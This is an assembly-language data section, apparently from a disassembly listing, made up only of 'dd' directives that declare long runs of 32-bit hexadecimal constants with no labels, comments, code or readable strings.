		dd 3FEBDCEDh, 37D814A2h, 0E30F3100h, 0D4A42D6Ah, 281DC509h
		dd 80358FA9h, 0C7B423EAh, 4E9E00C8h, 6EDF9C9h, 2B0F2A29h
		dd 0E0C06C35h, 0AC32877h, 0D21B0066h, 0B326B0BBh, 0A1024B6Fh
		dd 0A22DB698h, 0EA9C8079h, 37C091h, 9D2A0E61h, 0B53EBE95h
		dd 780EE092h, 20FA732Bh, 5ADAAE46h, 349B266Dh, 22648050h
		dd 42EB755Fh, 3D99F09h,	80F888AAh, 33F6DF00h, 557EBEh
		dd 614E019h, 502AC36Fh,	0A1F08000h, 5ED6DF7Ch, 4C50035h
		dd 9AF141D8h, 16FCCB3Ch, 905860C1h, 6CF0DC54h, 5FFC0FCAh
		dd 0BF009B87h, 7353CE88h, 0AC4CF59h, 0F4DF126Dh, 715F5D83h
		dd 1B08BEEFh, 18EC8FC3h, 0C0E037FBh, 9A0B35A4h,	83BEFF12h
		dd 0C06165A1h, 7BFB5736h, 0F02098D7h, 18DAEAFAh, 59DCC715h
		dd 5D3BF121h, 19E480C4h, 710F75C1h, 9F0900E8h, 958C2416h
		dd 9C00E784h, 23C13A5Fh, 0AAF6D4Dh, 1E0EB2A2h, 3CE33B4h
		dd 0DAB871E3h, 4B00D634h, 0AA8293A8h, 445AFDh, 0B1583EAEh
		dd 9EECFE9Ah, 59573A00h, 1A2B6CC6h, 3B6902BBh, 2E16BE0Ah
		dd 1DD14760h, 4A0026F6h, 0C429E207h, 158D8C5h, 41F5184Dh
		dd 0FCB9FAF8h, 6039C0DEh, 19CF8081h, 0C831B8DDh, 0E98907CDh
		dd 50D04358h, 6D63C11h,	1C42F63Bh, 6C8385D8h, 0E0C94F38h
		dd 0A304F516h, 3993A899h, 0CA035C2Ah, 0ED3C1Ch,	85F82365h
		dd 822A24E4h, 5506E01Dh, 11CDE78Ah, 46D5211h, 199A7B0Ch
		dd 5E001510h, 32BAC5F0h, 5BB08E2Ah, 0C0CC1F5Ch,	83D5FC35h
		dd 1FB8EDBEh, 90A83800h, 244C611Ah, 78572AEh, 0F9777C35h
		dd 0A2D1D044h, 7B89725h, 0CDDF3Ch, 50EE2347h, 917D8D4h
		dd 965BB38Fh, 0AF157400h, 6470F041h, 0B8933C00h, 82253A6Bh
		dd 0D565004Eh, 2A204FF5h, 271FEC99h, 538094A8h,	0F340FD7Dh
		dd 13650143h, 0DBDDF6EFh, 0F950C0D6h, 97C0680Fh, 27DEC0E6h
		dd 375FBCh, 0CB113E3h, 9093E94Ch, 50B0AC98h, 0DE049104h
		dd 8C84922Fh, 0C60140ACh, 8633C0C2h, 89498096h,	0FD9F1952h
		dd 510903E2h, 7FA4F17Dh, 6210D9F0h, 0E803B000h,	3A5EFFB3h
		dd 1935BD7h, 0BE7607CCh, 0DFA6FC12h, 2D004873h,	35C820C0h
		dd 0B3DEDAh, 5792B76Ch,	4621663Bh, 0D763CEAh, 0B2C9E913h
		dd 3E3A0A00h, 0ECACF14Eh, 2A10FC6Bh, 74E0F02Eh,	114B686h
		dd 0EAACD653h, 0CA8EDCFCh, 0A1C67F00h, 5A2216C3h, 9F66008Fh
		dd 10983DCDh, 79B83542h, 0D5C3761Ch, 7044D444h,	1E6DDCA0h
		dd 47057567h, 0C709D830h, 0C55C9121h, 0EB228023h, 50DEC79Dh
		dd 0E171C0DBh, 25610AD9h, 69346700h, 194FC6F3h,	1CD0FDD2h
		dd 0A85A097Ah, 0D0A0C2E9h, 0A6CBEFB1h, 8AFB2E28h, 1938F700h
		dd 0EEFFE335h, 0D60B002Ah, 4BFA9EAEh, 5403A9A5h, 0E22907E9h
		dd 89BCD820h, 0BF6D0059h, 2A866472h, 5D001D43h,	6F5774F6h
		dd 38680Fh, 0C5E3F0C8h,	24D94078h, 0A300209Ah, 45F78C52h
		dd 74BC23h, 781E3909h, 0CB7E7FDCh, 0F1A2E700h, 2E701225h
		dd 0FA9E09Eh, 0AF275A68h, 0E046E567h, 90603441h, 0FB025577h
		dd 64D97499h, 0F717E0C0h, 879B00D3h, 0D1BAC8B7h, 0A317358Ch
		dd 0D71C8BB0h, 0DCC1F9C0h, 8112F3h, 46897D29h, 1DD33A7h
		dd 216EC61Ch, 8E7C780h,	30954767h, 638887EDh, 0EE1D5EF4h
		dd 36C02C8Bh, 40AF0CCFh, 201800F7h, 0E92F2DA0h,	46006F47h
		dd 928131CBh, 0E0C40830h, 0FC227157h, 0C9C30039h, 0C16AF8Eh
		dd 58075DB7h, 6D8C8275h, 972EB580h, 98D207F4h, 0E0EF9E6Ch
		dd 92634262h, 3E60E901h, 57AFBCF0h, 0A8D067DDh,	28B1CEC1h
		dd 52B44A81h, 0C7180DEh
		dd 8A627027h, 3A580041h, 0E4B65AFCh, 84608E81h,	5458681h
		dd 658C0051h, 5A4E6757h, 1C00F53Fh, 0E666E9Bh, 0F109ECAh
		dd 0E5AAD539h, 56E07E80h, 0B371A3E3h, 0DEEBAD00h, 60DCFEEAh
		dd 1DCE0178h, 746E0134h, 0B663F456h, 0EBFA9700h, 0ADE6ACC7h
		dd 6C771EB5h, 0EE9FC0FFh, 1BB6B0E8h, 14CAA01Fh,	578186BDh
		dd 0F30EAB8h, 0DBA10E29h, 536EEEA0h, 3C00E85Ch,	0CE287C0h
		dd 38A94B9Dh, 7060E340h, 9358C521h, 0AC1C031Fh,	9AEC740h
		dd 0BA53DDh, 0A48B91DCh, 22E62A45h, 34C66E0Eh, 1793E1FFh
		dd 5B209656h, 0F5F98CAh, 0A1AC213Fh, 75D4F640h,	710BBCE9h
		dd 0F04FE877h, 5BB80066h, 0B04BF035h, 0AB00CE3Dh, 14DC65D3h
		dd 8C78F2h, 0A6E1D272h,	45BE8732h, 654B0300h, 81136447h
		dd 26F018CBh, 0C69FFE31h, 5FBAAC00h, 54044838h,	0EBF4004Ah
		dd 5C9BBBF6h, 4D124EBEh, 4C40073Ch, 0D7AF9E89h,	9575D8h
		dd 20037A08h, 68BF6A1Fh, 0C55E440Eh, 0E265E28Bh, 0C8EE80CCh
		dd 3E8C16h, 17EADCDBh, 8F82D773h, 4235B406h, 39A057h, 21FBF666h
		dd 2FA530D0h, 160C800h,	52CDEAF0h, 288A6086h, 419F71DEh
		dd 0E9E86300h, 1D0F98E5h, 7A850143h, 81B06B5Bh,	9A482061h
		dd 937DAB06h, 0F2388F57h, 0D39E02B2h, 0BFF7F2B4h, 62A54048h
		dd 0C2B54300h, 7BA991C9h, 0FAE2072Dh, 90351D71h, 6445909Bh
		dd 0FD101705h, 98007343h, 635B6998h, 0C2530080h, 99DD5AEBh
		dd 8005748h, 306FBBDh, 0E6DEC66Ch, 6E5B17F0h, 0EC5F1022h
		dd 56A62500h, 6361445Ch, 220A4E2Eh, 0EB0B1A00h,	6E9626E6h
		dd 16AF28DFh, 555DB620h, 51F4B288h, 70FE0D00h, 5A9F2CD1h
		dd 2DE8ECh, 4D34EA6Eh, 0A3D7134Fh, 456F4604h, 0EE801D3Ah
		dd 0A2782Ch, 0DC6DF48Ch, 951FAD0Bh, 833CF000h, 0CBDBB0B1h
		dd 0B3F6ABh, 0C99ABCD8h, 73232E5Fh, 76777F00h, 0A14B457h
		dd 0DBB8001Eh, 96C18A3Dh, 82006112h, 0DE70755Bh, 0B3D907h
		dd 81ABAC9Eh, 0F97E0DCEh, 80303F39h, 4F6BD3C4h,	1BE2AE2h
		dd 0B8392CCCh, 2A57013Bh, 0D83C2000h, 7747760h,	4A7A05EEh
		dd 0C0CBD078h, 0C10010ACh, 387E0757h, 0C3E9272h, 25FA14BAh
		dd 0CA38EE21h, 6E658080h, 0BD16A798h, 0FC87391Eh, 6D5E2907h
		dd 0ABE7D07Ch, 130F311Bh, 0A0223615h, 2AF2564Bh, 0DA300BDh
		dd 302CA6CEh, 7E0C8FB8h, 31FBC8DAh, 0ABB20756h,	8737D80Dh
		dd 19A4905Eh, 870030AEh, 0F58EBFF8h, 1C7C674Dh,	0EF0A0EECh
		dd 9804F4D4h, 8CD1E903h, 0FE20AB45h, 678800A7h,	56C4577Ah
		dd 3A005295h, 6E78AC16h, 7A324049h, 0CA28001Ah,	9B29B322h
		dd 1C008223h, 0E4DB8E86h, 0C5EDD8h, 0D4BBEEC2h,	359D4C29h
		dd 6B5790C0h, 92FA6Dh, 98F8C995h, 13ED1A5Dh, 0A7037F72h
		dd 0CD9E2F19h, 9F02E097h, 0F085E8C4h, 40210146h, 3EF1412Ah
		dd 1B3CD033h, 1A108250h, 46A01401h, 38E6D2DCh, 93EC0881h
		dd 0F8422673h, 6E000719h, 1B9609DAh, 0CB0DD7h, 2F18EFB4h
		dd 95601A83h, 0DA009FF8h, 41108A9Ch, 0C15170Dh,	0C45EDE14h
		dd 315A8590h, 187FF7B8h, 0A882F184h, 4039D27Fh,	2549CCCh
		dd 0E6230Fh, 5E02786h, 116F00FDh, 0A6741DB9h, 767009E1h
		dd 205A4828h, 3060DE28h, 0C0B44633h, 0EDD1C83Ah, 0DE9F3E38h
		dd 504010D0h, 1701C7Fh,	16EBE1C6h, 709232DFh, 75078883h
		dd 9AC734D6h, 0B0A085A3h, 0D9AAFBh, 0FEC5089h, 0F493EB3Dh
		dd 78138B79h, 0A8006822h, 0FCB49A54h, 33EA002Ch, 3001FE87h
		dd 200031C5h, 4D1918B9h, 722303F9h, 3B6400DDh, 0BF5E5570h
		dd 1500B441h, 0B88BA4E8h, 915BEFh, 70D2BE18h, 0EDB0FBC3h
		dd 74F95D01h, 5EF23ECDh, 186B70h, 0F6DF43DBh, 0B8EBEE82h
		dd 63140800h, 73F709BEh, 0D28101B9h, 7FAE06D5h,	1207F8E9h
		dd 2D4BD900h, 4DDA336Ah, 0AA0200EFh, 0A41F7675h, 9C0056E5h
		dd 97A62D38h, 593C665h,	1CA03282h, 0BD980783h, 76EB90E9h
		dd 7338E1E6h, 0C508E5DEh, 0ADDCA84Ah, 0A69F6800h, 8FA4D4h
		dd 0A3E18719h, 0EF5FE35Bh, 45AE0301h, 7F21D772h, 0C4F1F3D0h
		dd 87246A18h, 8CD8064h,	60929F15h, 3328A500h, 0E4FD1386h
		dd 0C035AF2h, 0C221AD27h, 96333003h, 0B0610EB7h, 22BB9417h
		dd 85039C55h, 7AAE981Fh, 0ED1100C1h, 38E35CF0h,	9E0ED1ECh
		dd 8DD20440h, 9C021F5h,	534F035Ch, 0D00CEB9Dh, 6B7FA2E0h
		dd 0E751A8CFh, 0E06642BFh, 0C57B3310h, 24B00C39h, 91004D5Eh
		dd 0BECDF838h, 80EACB42h, 9B008119h, 30579261h,	0F854DDDh
		dd 7948CDFFh, 0DF2D1EE2h, 9356C980h, 3F3F3224h,	0C960004Bh
		dd 0B44C5D38h, 0D03100C3h, 0D35F5715h, 0D1009D10h, 1A9B482Fh
		dd 6F4701h, 40C952Dh, 0F057E3A2h, 8068F23Dh, 0C8ED9D6Ah
		dd 559051h, 291E1884h, 1B4208B3h, 78FD8700h, 0C9BF6D65h
		dd 0F7FE2437h, 0F66C1498h, 8D550801h, 0DCF0FFACh, 3000F8A5h
		dd 31C2514Eh, 0E14B78h,	0F6A11BDFh, 2843B811h, 0D72B4400h
		dd 0F08DF348h, 5331D9Ch, 0B1934037h, 19347C4Eh,	0EEEEA424h
		dd 2022900Fh, 6D1E84CBh, 0BEF900F6h, 83A9CFD3h,	0A203C6E8h
		dd 2279912Ch, 3C848033h, 0EA800054h, 838E44F1h,	6D076749h
		dd 35E3977Eh, 0B3CB8270h, 794E0B6Fh, 7000F0E7h,	0F822B46Ch
		dd 12D68A00h, 1A180BA0h, 68590031h, 696C4E1Ch, 6E00B374h
		dd 0BD254DE8h, 793B5C8h, 1698C4E3h, 280F8192h, 4863DC4Fh
		dd 210F60Fh, 67D09968h,	80BB044Ah, 0CAAB313Dh, 53B6E2E1h
		dd 8383147Eh, 10007D31h, 4437AD89h, 0F52FB3h, 0F4CDEBAh
		dd 751CA513h, 86588303h, 0F38995E2h, 59292198h,	90A67B08h
		dd 9A3D848Ch, 6A422D48h, 214024A0h, 3112A5E8h, 89A77510h
		dd 84350874h, 441008E9h, 2284C8A2h, 49429F8Ch, 219C9111h
		dd 0A038087Ch, 4784DD90h, 42B0489Fh, 0E1226BD5h, 91EA00BDh
		dd 75003A83h, 1C673B7Eh, 0ECFCE7Dh, 5921E6A5h, 0DAA371C0h
		dd 64E00FD9h, 0AD146E00h, 1EA5FB98h, 137E628h, 0CB2924BCh
		dd 0C8214216h, 0FF007CC2h, 794C6BF2h, 3F6F53h, 14DDA232h
		dd 0F63CB9B3h, 0E6213500h, 10D80266h, 4D4800C2h, 0FD41820Dh
		dd 231DA40Ch, 0E5DF17AAh, 3A223901h, 6DF0BE8Fh,	0A1F62AFCh
		dd 2BE807FCh, 0B33C1A2Fh, 9BF8FFABh, 1B7DD887h,	4839F300h
		dd 0A090F9E0h, 0BB230074h, 0EC97126Fh, 9C007BF6h, 37D75952h
		dd 313B632h, 1C71DFAAh,	3CE823E5h, 0BA00BF48h, 6C858F42h
		dd 921D9105h, 186F0038h, 90BCE520h, 0CB00876Eh,	4B16EF49h
		dd 36FE86h, 934135DFh, 31E4AC54h, 7C4620Fh, 0D159A71Bh
		dd 0ECB085F0h, 164E00A4h, 242A9CA6h, 2BFCAB30h,	0F205DA1Fh
		dd 74B2D41h, 0AAE0B759h, 0AC6900C4h, 51A8C91Dh,	0CC004D7Ch
		dd 0D0C8972Eh, 9D5745h,	0A4399896h, 0F2A949EDh,	0CEA8200h
		dd 15B7E3FBh, 0F4E10064h, 0A6DBFEA5h, 292C3B55h, 0C30E3691h
		dd 3D85C004h, 0C259A24h, 4B794A54h, 173928E8h, 0A8A19452h
		dd 2A56009Fh, 20D2399Fh, 44C70035h, 0AD607A6Fh,	6200EBC9h
		dd 0EE4AFEA7h, 0D47F23h, 7AF4BDC2h, 449D685Ah, 6A0025E0h
		dd 9739A578h, 0F9837Fh,	0B0265F59h, 3D9A81Fh, 0EB1A8B00h
		dd 2B957BD7h, 55D302E4h, 3673BC80h, 218EC90h, 0E2B33100h
		dd 795335AEh, 0A3CC001Dh, 0F3A93E93h, 2004EC9h,	0A1FF19A5h
		dd 1CBA2A75h, 80DC6270h, 0F3C6B35h, 0E300B87Eh,	4DE1CED4h
		dd 309FE6FEh, 0DF11197Dh, 3A1E8FF0h, 26403FA2h,	64BEC47Ah
		dd 3D0090B4h
		dd 5C00C702h, 3846735Eh, 0CB009605h, 7DF8A3B8h,	0E4279AFAh
		dd 6592409Fh, 6ADC800h,	0F33B4B68h, 9D890F31h, 20786BCFh
		dd 42095085h, 81AE0FEFh, 4EF4C82Ah, 13C0BE21h, 3F6800BBh
		dd 87ED3DCDh, 54000383h, 32A425E7h, 15A54Eh, 9660206h
		dd 6E76530Dh, 0DCAD3401h, 260143C0h, 1E939570h,	4EABC452h
		dd 1F370F40h, 9708059h,	16F415D5h, 1A419E07h, 8D70DCA8h
		dd 81114Dh, 0EE3266E2h,	178A5BC9h, 9E47AC00h, 3A875C38h
		dd 6CD01F24h, 81003A57h, 1FA39BE6h, 5F09309Ah, 150E5B7h
		dd 0B2F74820h, 7C1CCh, 8A76DB03h, 0FFF1597Fh, 64ED1607h
		dd 0CE00DA4Fh, 3AC302A9h, 4E841DC0h, 0D0349F3Eh, 893ADA18h
		dd 0A0A4BD00h, 0A31ECA01h, 0DFF70039h, 5B53C663h, 6E093EC5h
		dd 945D83h, 6F8DC9CCh, 0F0DE3DCAh, 81EF100h, 240207F8h
		dd 1F238B02h, 808F6186h, 4D5D5CC8h, 0F14209C8h,	0C0F06A4h
		dd 2B8E53E0h, 0FC01ABD8h, 0A9BAF4C9h, 40FCF694h, 2AB8071Fh
		dd 511C2D07h, 0C4A199B7h, 3203AE5Ch, 13CFC0E4h,	0A803A358h
		dd 0A8994C2h, 0A798DAD1h, 35F703C4h, 0A4C01460h, 203E4763h
		dd 1FC10085h, 0F7415345h, 16B57C5Ch, 94049Bh, 8635696Ch
		dd 1F0C1DE5h, 0B88D6087h, 3FE425h, 14EA27CBh, 0B1A6BEB2h
		dd 230A4Ch, 26A81DEFh, 0E4C0DF34h, 10E80A43h, 16F0F2D6h
		dd 220D026Ch, 6C4042C1h, 0B140B2F3h, 6218003Fh,	2E7C2BCDh
		dd 3E019876h, 7A53F90Bh, 983070B8h, 0ADEF0696h,	0A8743D0Ch
		dd 92762D10h, 0D1850705h, 9BFC0056h, 1B548B63h,	91C3C700h
		dd 3149C0DDh, 6FDE005Bh, 4C1E6BA1h, 64161CEDh, 0CD004133h
		dd 448EC385h, 0A1C50023h, 0A92CC9F0h, 9700D073h, 0BA7FA52h
		dd 0EC450C55h, 0AF2079Bh, 11EE7B54h, 0D8D06841h, 0BD1DF459h
		dd 0B4C051DAh, 72C65FC4h, 0CEEB0385h, 0C7F81444h, 82D2A5D8h
		dd 689A4900h, 3B7ADDCFh, 1743008Ch, 1D0D55B2h, 0F0089DAh
		dd 256C6701h, 0E27A606h, 5D49D0C0h, 0B9E59900h,	0E90A80A3h
		dd 8072D4F3h, 0EECD7403h, 65A0F8D2h, 0CA46004Ah, 38969FF5h
		dd 5F2CEC7Fh, 7A008D5Dh, 0C65674A7h, 7CED00A2h,	3082B535h
		dd 14005B37h, 4A835FB0h, 7E5592h, 0D1C6A965h, 390CA6FFh
		dd 18954Ch, 74BD382Fh, 7378D3B6h, 0C0BC046Ah, 0C0C6407Ah
		dd 6E6503F2h, 8C4548h, 0B8880687h, 156F29h, 22AAB28Fh
		dd 0D19E48F7h, 0D7845000h, 5BB41058h, 0B88007Fh, 2E9C8B6Bh
		dd 0CE1E24E5h, 1B4FA052h, 0FF65C037h, 167B4426h, 9B13DFh
		dd 0D0C66F5Fh, 32B007A3h, 33223Fh, 87E1A665h, 3AD68Eh
		dd 1C7858B1h, 20800B82h, 5184BF07h, 31E1B847h, 1882F97Ch
		dd 55AE2EA0h, 0DD043B60h, 91846803h, 0CF6FDCDAh, 749A1841h
		dd 0B750FCh, 80C92383h,	0E97B98B8h, 0DAB54800h,	0A1A63687h
		dd 170914ABh, 0E72A903h, 0E97D227Ah, 50809A20h,	3C00123Ah
		dd 8F73CD28h, 70774D04h, 4F51244Ah, 0BFB0075Ch,	403531CAh
		dd 96F03F7Bh, 1B3F0017h, 0D42F4D28h, 0C8003277h, 0FD9A3136h
		dd 215648h, 4DD7A668h, 0D26D25EAh, 0EC057CB2h, 0DC0299F8h
		dd 0F73F7880h, 59FA0010h, 0FB792461h, 67003542h, 1831DE9Eh
		dd 0DBF81h, 998ADFB2h, 7EBCFA3Eh, 2B9860Ah, 4507ECC5h
		dd 8E80A925h, 1155D26h,	0A923BB2h, 0DCF9A1B6h, 4B02F5CEh
		dd 78C59E5Eh, 8CF080F7h, 286F9Fh, 5CE88E6Ch, 0E761D8A2h
		dd 0DC0EFB00h, 0D53CA538h, 0A890FCh, 0C26C42DAh, 1D3EA6E9h
		dd 0DD588E00h, 0A463C3E1h, 0E82A023Ch, 775BEF39h, 6BD052C3h
		dd 0CC019CF8h, 0F670C0E3h, 0C760412Fh, 106200D7h, 7D0374CFh
		dd 370F9517h, 1C57226h,	3D6C308Ah, 0D8407C71h, 0F01F74h
		dd 1D798C7h, 49469127h,	5201FAB0h, 0F32D623Dh, 7BC01D8Ch
		dd 9B143F4Ah, 27707C80h, 0C350F83Fh, 193C260Bh,	0E25C000Ch
		dd 0C711B3h, 0DF5CBA87h, 95560396h, 0A1F67A1Ch,	92E67F01h
		dd 54344909h, 0BC70078h, 5318FD99h, 9A04A62Dh, 1022A9CFh
		dd 1F6CA0h, 0B95ED02Ah,	4E50F572h, 0CF711970h, 2D012498h
		dd 986ACA85h, 0F1E014EDh, 0F8DD50D9h, 0B204B047h, 0B2730014h
		dd 0DFA3D443h, 0B8E42DEEh, 958FBF00h, 12ABC979h, 16A11817h
		dd 3259EE80h, 1DDF8707h, 56D72EBCh, 428EA750h, 40DB0031h
		dd 0B5D05E30h, 0D700BCF4h, 9EEC089Ch, 1A252E3h,	0EADAD992h
		dd 98B6D3CFh, 0B1E87EF4h, 8DC33A5Dh, 0C7891E02h, 0D860DCA4h
		dd 4B886A1Ah, 10B03BBDh, 0DB17C08Ch, 0C09DAA8h,	8097E084h
		dd 1FABC73Ah, 4E4817A7h, 9F83000Eh, 5936A24Bh, 0BFC40D00h
		dd 0D6648116h, 751700D3h, 3FBD091Fh, 0CAE8FCC7h, 38905D90h
		dd 0A91E1000h, 0B6AA7C3h, 57310256h, 5C6BF647h,	0AAC17F60h
		dd 83CA283Eh, 3DF5DCB3h, 42039081h, 0ABFA0087h,	50ED7870h
		dd 0F9000753h, 6BCE06C1h, 0F4888Dh, 4DE6115h, 0DA0BDD7Dh
		dd 0CBB01F03h, 0F956FE77h, 7460B243h, 0EC5D0EBAh, 76A0238Ch
		dd 536CDCF3h, 0F1503700h, 25CEC1A0h, 2C540094h,	4603520Bh
		dd 0AA091FB0h, 4070F9CFh, 9056BE50h, 5DD80058h,	0DE1034BFh
		dd 0A838F5FAh, 4C345C3Bh, 637A0010h, 825A55A7h,	0AC54C0D7h
		dd 8A5610CDh, 69992202h, 0C1920974h, 0E5E43E90h, 0ECEB38EAh
		dd 8849387h, 585A097h, 43606B29h, 0BC58766h, 0F5380198h
		dd 248BB71Bh, 195CD07Ah, 8A143700h, 67FFC448h, 136F3ECDh
		dd 723A7103h, 43E090A2h, 79009356h, 1CA33B3Ch, 10DD5F4h
		dd 3E716058h, 0E8C2B913h, 0C0B02CA1h, 8095703Ah, 1C464D77h
		dd 24149F3Ch, 0D1690Fh,	0E0011913h, 48000ECFh, 0D8C0C87Bh
		dd 2E7C34Ch, 0C95934D5h, 0B887B793h, 244490E2h,	0AF070171h
		dd 2B84E44Ch, 392A9850h, 0B1173DF9h, 0A7D4AC80h, 0F78C6BAAh
		dd 8AF25E2Eh, 957BC800h, 18E35BFh, 44C093A9h, 40113C97h
		dd 0D4018DB8h, 4A40F896h, 0F9E248h, 1E62D57Fh, 728565B6h
		dd 0BA68E100h, 5AFCE8C8h, 6E2800A2h, 55FA50CFh,	0EF77DCD6h
		dd 64904702h, 0E1ACED7Bh, 0F032DE68h, 0B3A25400h, 0A3725849h
		dd 0CDCBF800h, 404DAA24h, 7BEC13A6h, 551440BBh,	0C249AFA4h
		dd 0E0F92300h, 4FAD7038h, 6D8E0031h, 0FF7CEE9Ch, 0C14E626Eh
		dd 48D38C60h, 0C5D50F05h, 0A7E0C802h, 630FF6AEh, 1044103h
		dd 0E29CB7FBh, 0BFEC4057h, 0E7C9884Bh, 0D66E4109h, 0FF950142h
		dd 0C092B084h, 0A91C91C5h, 60A2F919h, 3006B8Dh,	0DCA8C6C3h
		dd 0D8A37h, 22CE3961h, 6DD48B27h, 8456AD09h, 38F2804Ch
		dd 28352A28h, 3AC4910h,	505CFA23h, 6CD0A2F3h, 63005393h
		dd 0B8DB769Bh, 243EC8B1h, 811801F8h, 3ACE610Bh,	0EFA1E025h
		dd 0E4528200h, 21AA0637h, 97DE00A7h, 0A480CF3Eh, 4A001DB0h
		dd 326AFE74h, 1758DAh, 0AB8C8A23h, 8B515748h, 8FD0B400h
		dd 33E37C45h, 0F8C00390h, 17EF726Dh, 0D99C7BE8h, 6755FC00h
		dd 466AC853h, 81233B11h, 16D7F780h, 0E8E09260h,	42C54000h
		dd 0BBB8F6CFh, 92B018h,	443A1C72h, 0AE585EFh, 7A900E03h
		dd 0D1196ED2h, 0B8406B0Dh, 51A8FA0h, 4B102642h,	0D19C4035h
		dd 451DF84Ah, 2EEC403h,	0D04106DAh, 0FE8618EDh,	4EA898D6h
		dd 284047Ch, 1C2080B4h,	0D22CC9E9h, 0F0218B0h, 206BFB27h
		dd 0F9937E6Dh, 0EF704202h, 805BEB0Ch, 20862EC8h, 855D019Eh
		dd 696DE428h, 0A50AECBAh, 97405B00h, 7B5093CEh,	13847167h
		dd 0C8AC3Bh, 0D0CD46DCh, 0C725C1F2h, 1BF801ADh,	0C06CC310h
		dd 489273h, 0D618AF2Fh
		dd 0D2444B0Bh, 20748530h, 0BE01D24h, 55308902h,	0A09AA804h
		dd 0EF00C874h, 8E6D9099h, 1F789F1h, 0D216A745h,	60C5537Dh
		dd 47018094h, 0AFFF64CBh, 0F370DA34h, 0A9690007h, 0DB8FA1C6h
		dd 0E53B2017h, 2E97072Dh, 5CC0C732h, 0F0DDAF33h, 0F0AC053Ch
		dd 0C06A07BBh, 0CC8FD6B2h, 6633Eh, 0A569B457h, 15CBEE5h
		dd 0A0F4C9EAh, 701A5E5Fh, 0EC00CB38h, 0B2417AF2h, 0CDA922h
		dd 0D1D89FEDh, 0D2935504h, 8E7FAA76h, 4B04B498h, 894C660Fh
		dd 9E1FB480h, 0BF5B0534h, 8578FF09h, 6DBC40E2h,	9DAC8593h
		dd 29E31800h, 57075024h, 61BC2779h, 8B01481h, 323180F3h
		dd 47EA7FB8h, 57E100F1h, 0BAF4A8D3h, 96009411h,	4309E71Fh
		dd 7026116h, 0A1E032B6h, 0D772C073h, 0F600DD4Dh, 362C1E95h
		dd 76837D1h, 574AA63Ah,	66AEC09Fh, 0D503F146h, 0D7F34FFEh
		dd 86801E7Dh, 0BD1000E4h, 30D8B396h, 63871800h,	75F53EACh
		dd 0F7ED0442h, 0B03688B8h, 83005C14h, 0CBD94B2Eh, 0F33C9A7h
		dd 825D2AFAh, 0C8E3D0A1h, 89BC3014h, 35D79D02h,	0C8B7A23Bh
		dd 0FBAD6Ch, 60641AC9h,	1DEF10A1h, 8926A339h, 0C136B10Eh
		dd 3830235Ch, 7414007Dh, 0C5C0E3E7h, 0FB008CB6h, 182CA7A2h
		dd 0EE481F3Dh, 529C009Dh, 20737DACh, 0B89CC014h, 0CC36DD01h
		dd 0AC426A11h, 28A0908Ch, 9424E7B4h, 463800F6h,	66D1AE7Fh
		dd 609A7C3Eh, 9929D8F5h, 0CA0BC2FAh, 1A537F1h, 0A206AD04h
		dd 0F500B9F1h, 0C1208DE8h, 819A12B1h, 703C094Ch, 68ECF441h
		dd 0F1D60070h, 73613E08h, 87E81D8Ah, 0A4BE42AFh, 10692819h
		dd 946878h, 55B7974h, 58305192h, 620604F3h, 0C195DD76h
		dd 60BF092Eh, 0E2D2020Ch, 0E6AD0958h, 6A001817h, 15290E4Ch
		dd 5AEBC09h, 61F88759h,	8D925A20h, 265400E3h, 0B9DCCB67h
		dd 0D1DE503h, 189F50D1h, 0C5BC803Bh, 0A3BEE880h, 0EED500CFh
		dd 415183EFh, 33673515h, 0AB40B318h, 3BB8D0C1h,	9600B10Ah
		dd 542FFE3h, 0F8009E06h, 80A34A84h, 76D27FCCh, 34B64869h
		dd 14993200h, 97517BD4h, 3BECF4E6h, 0F96A1F00h,	8DE62AC9h
		dd 0C4DC015Ch, 7C7B9A77h, 0FC2C427h, 42387500h,	5E65EA85h
		dd 703F1F18h, 1520F994h, 23319D04h, 85EA2402h, 0BCA0C0DEh
		dd 0D03722Ah, 51911ACCh, 444980B3h, 0C7D5132Bh,	0E8D20242h
		dd 30F00908h, 0C0EEFA00h, 647AA3D0h, 796100D6h,	0EDDA2D1Eh
		dd 0CE30057Bh, 0AE92C8D5h, 3F8B0763h, 0E00116A1h, 4D21160h
		dd 205177Fh, 0E787E1DFh, 7E4868C6h, 6EAF0088h, 0E85B1422h
		dd 5F0194B2h, 0C47A72AEh, 434921Eh, 0B8EC99E2h,	47F69480h
		dd 0C5EF78A3h, 2A0CAB01h, 2E46FF7Dh, 1718C3ECh,	0FA24A95h
		dd 0E0091E24h, 70909C00h, 2DE46F83h, 0FF0BADF0h, 765455h
		dd 515865B8h, 75F0008Eh, 0E7D99285h, 0C50205A4h, 0FFA8A554h
		dd 247DC0E8h, 0B043005Fh, 0C228AC0h, 0EB01CC5Ah, 6DCAC33h
		dd 0AF8957Ch, 0E83C0070h, 0E7A93053h, 4000637Ah, 4DE55AE4h
		dd 2877F822h, 80874Eh, 0E3D4F9Bh, 8A8CDFB2h, 1D2EF600h
		dd 372FBBC9h, 52640397h, 0E6469B25h, 0EAA2D8E0h, 0BE3CCB3Dh
		dd 27FB8221h, 0C353D987h, 0F6DEE994h, 706166D9h, 0EFD06FC1h
		dd 9A441C16h, 0D8C88224h, 0D4A9C52Fh, 748E5401h, 96FD40Ch
		dd 0C4B68200h, 4134369Dh, 3ECB013h, 7D92ACD6h, 4AD81EFEh
		dd 827E8AC5h, 517E6800h, 0CC795E69h, 0DC6105D1h, 80B325CDh
		dd 27CB93C4h, 2C74C75Bh, 4C7068F2h, 14075C92h, 0CE0589DAh
		dd 0DB580840h, 8CA0C84Eh, 7912E0B4h, 1450D9F9h,	8BAB018Ah
		dd 8E7F55Eh, 2B1900FFh,	66A1F27Bh, 72246B6Fh, 3A081C8Bh
		dd 0D69150h, 0CD8E9A5Eh, 0F106F86h, 0CAFA69FFh,	5F27A8A2h
		dd 75417860h, 0B8607A00h, 6A652EF0h, 38A7C07h, 0D743478h
		dd 0B9A81627h, 0E2894F9h, 9F00F4D7h, 0F645A51Fh, 0ADB22Ah
		dd 0F8B8758Ch, 0B7276258h, 0FBEC2C00h, 3020A44Ch, 7B5900ABh
		dd 874B0849h, 5100C438h, 0DF0E8924h, 0CB55A6h, 2286613Ah
		dd 3945D4B3h, 9A260B00h, 0E12E7101h, 40DCA04Dh,	0EFA9C96Fh
		dd 826ED700h, 0E9047187h, 5CE4FED7h, 0A5789780h, 0CD2A0BA1h
		dd 1E0325B8h, 0BAF0A797h, 0E2003D15h, 7CC56112h, 50B22C88h
		dd 2F6FDCB5h, 81C5B87h,	3717D4BCh, 42295001h, 76F549F3h
		dd 1DC0DDE8h, 403396D9h, 17B2658h, 0F0413A0h, 0BBF79221h
